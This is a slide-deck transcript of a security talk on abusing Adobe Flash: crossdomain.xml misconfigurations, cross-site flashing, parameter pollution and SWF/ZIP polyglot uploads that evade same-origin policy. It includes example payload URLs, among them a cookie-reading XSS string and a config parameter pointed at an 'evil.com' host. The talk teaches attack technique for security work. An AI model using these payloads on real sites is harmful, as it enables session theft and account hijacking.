Neat, New and Ridiculous Flash Hacks

1. Neat, New and Ridiculous Flash Hacks Mike Bailey

2. whoami Penetration Tester Security Consultant Senior Security Researcher: MAD Security Instructor: The Hacker Academy Skeptikal.org

3. Goals Ways Flash can be leveraged in an attack Not bugs in Flash Player Not necessarily Adobe’s fault Ways to abuse Flash to compromise users, websites and browsers

4. A few terms defined • Flash Player- The application that interprets and executes Flash content. • Flash Plugin- The browser plugin that loads up Flash Player. • SWF file- The Flash content hosted on a web server. • Flash Object- the SWF file, as it is embedded in a web page. • Actionscript- Flash’s scripting language. Similar to Javascript.

5. Same Origin Policies Scripts on Site A cannot access scripts, cookies, or content from Site B without explicit permission This allows Site B to keep session data, sensitive information, and other resources private

6. Javascript’s SOP • A Core component of Web Security • Relies on defined boundaries between websites and applications (which do not exist) • Relies on airtight input sanitization (which is difficult) • Relies on airtight DNS (which is unlikely) • Browsers themselves are adding ways to bypass it Clearly, it isn’t working, but it is currently all we have

7. ActionScript’s SOP • Modeled after Javascript’s policy • Better implemented than Javascript, due to clear boundaries between the Flash application and the rest of the site • In practice, may be easier to bypass Much of this talk will focus on violating this policy, with other tricks of the trade sprinkled throughout

8. The Easy Way: Crossdomain.xml • When attempting crossdomain communication, Flash will first check the crossdomain.xml file on the targeted server • Adobe recommends that admins do not place “Allow *” direcectives in crossdomain.xml • …But people do anyways • Adobe recommends that admins do not place “Allow *.example.com” directives in crossdomain.xml • …But people do anyways

9. In 2006, Jeremiah Grossman found that 6% of the top 100 websites have unrestricted crossdomain policies He predicted that this number was likely to grow In mid-2008, Jeremiah found that 7% have unrestricted policies, and 11% allow *domain.com

10. At the beginning of 2010, of the Alexa top 1000 websites: 13.4% allow * 37.6% allow *.(domain).com This problem is not going away And it is already being exploited

11. The LiveJournal Worm • An overly permissive crossdomain.xml file allowed LJ account hijacking • Hijacked accounts would modify blog posts to place the payload in those accounts • This is classic web worm behavior, but using Flash and crossdomain policies instead of XSS or browser exploits. • 3,300 accounts infected in a few hours • Could have been much worse

14. Crossdomain.xml CSRF • Flash cannot make requests to outside servers without permission from those servers’ crossdomain.xml files • The exception: The crossdomain.xml file itself • Requesting a resource from http://foo:bar@baz.com will force the browser to request http://foo:bar@baz.com/crossdomain.xml • No alerts will be triggered and the browser can be forced to log into baz.com

15. XSS in Flash Objects • AKA Cross-Site Flashing • An incredibly common vulnerability • Poorly written Flash objects can take inputs as URL parameters, which can in turn be poisoned http://foo.com/bar.swf?url=javascript:alert(document.cookie)

20. My approach: XSS through RFI bugs in Flash objects Many objects load a secondary XML configuration file, which can be poisoned http://foo.com/file.swf?config=config.xml http://foo.com/file.swf?config=http://evil.com/config.xml

34. The Point: Injecting Javascript into a Flash object is no more difficult than injecting Javascript into a web page

35. Client-Side HPP • A bad name for a simple attack • Passing multiple copies of the same parameter http://foo.com/file.swf?input=foo&input=bar • Flash will interpret “input” as “bar” http://foo.com/file.swf?input=foo#&input=bar • Flash will interpret “input” as “bar”, but it will show up as “foo” in server logs • Server-side forensics may never know that the object was attacked

36. More Cross-Domain Violations • In previous examples, Javascript called from a Flash object runs in the same domain that the object was served from • These attacks are performed byiframing the object • But what if we embed that object in another website? • An object embedded in a web page can execute ActionScript in the context of the server it’s loaded from, but Javascript in the context of the web page it’s embedded in Goodbye, Same Origin Policy

37. How Can It Be Exploited? • Embed a malicious object from the attacker’s server in a page on the target server • Corrupt an innocent, but poorly designed Flash object • Upload a malicious object to the target server

38. Case 1: Embed An Object In A Web Page • Requires that we have the ability to modify HTML • …In which case we probably have an XSS vulnerability anyways • Perhaps not the best attack, but there are useful scenarios: • Place an innocent object on my server, invite people to embed it in their web pages, then swap it out

39. Case 2: Corrupt An Object • This is mostly covered by the previous Cross-Site Flashing discussion • Another approach: If a Flash object executes calls or exports methods to Javascript, they can be intercepted and return poisoned data

40. http://static.facebook.com/swf/XdCom.swf

41. http://static.facebook.com/swf/XdCom.swf

42. http://cynikal.org/facebook_exploit.html

44. Case 3: Upload An Object • Webmail allows attachments • Intranet applications have customer spec sheets, code checkins, etc. • Document repositories allow uploads • Mirror and syndication sites host content • Advertisers allow Flash banners to be uploaded • Image galleries, forums, ecommerce sites… • Everybody allows file uploads

45. How the upload attack works • I upload a SWF file to your server • You serve that file back to your users • I embed the file in my web page • The Flash file executes in your domain • But any Javascript it executes is in my domain

47. How is this different from uploading a Javascript File? • Javascript must be embedded in a web page on the target server to execute • An uploaded HTML page will not execute unless it is served with an HTML content-type • An uploaded SWF file will execute regardless of content-type • Regardless of what the server thinks the file is, Flash Player will interpret it as Flash • This makes it easier to get a payload SWF on a server.

48. Remember GIFAR? • The SWF file format requires a specific set of bytes at the beginning of the file, but allows arbitrary junk data at the end • The ZIP format allows junk data at the beginning, but actual data can be placed at the end • We can create files that are both a valid Flash object and a valid Zip file • Server-side file integrity validation will fail to detect the Flash payload.

49. But wait, there’s more! Many formats are essentially just Zip files: • Office Open XML (docx, pptx, etc) • JAR and XPI (If you want to be silly) • Self-extracting executables Most websites that allow uploads allow some type of Zip-related formats (with the exception of images)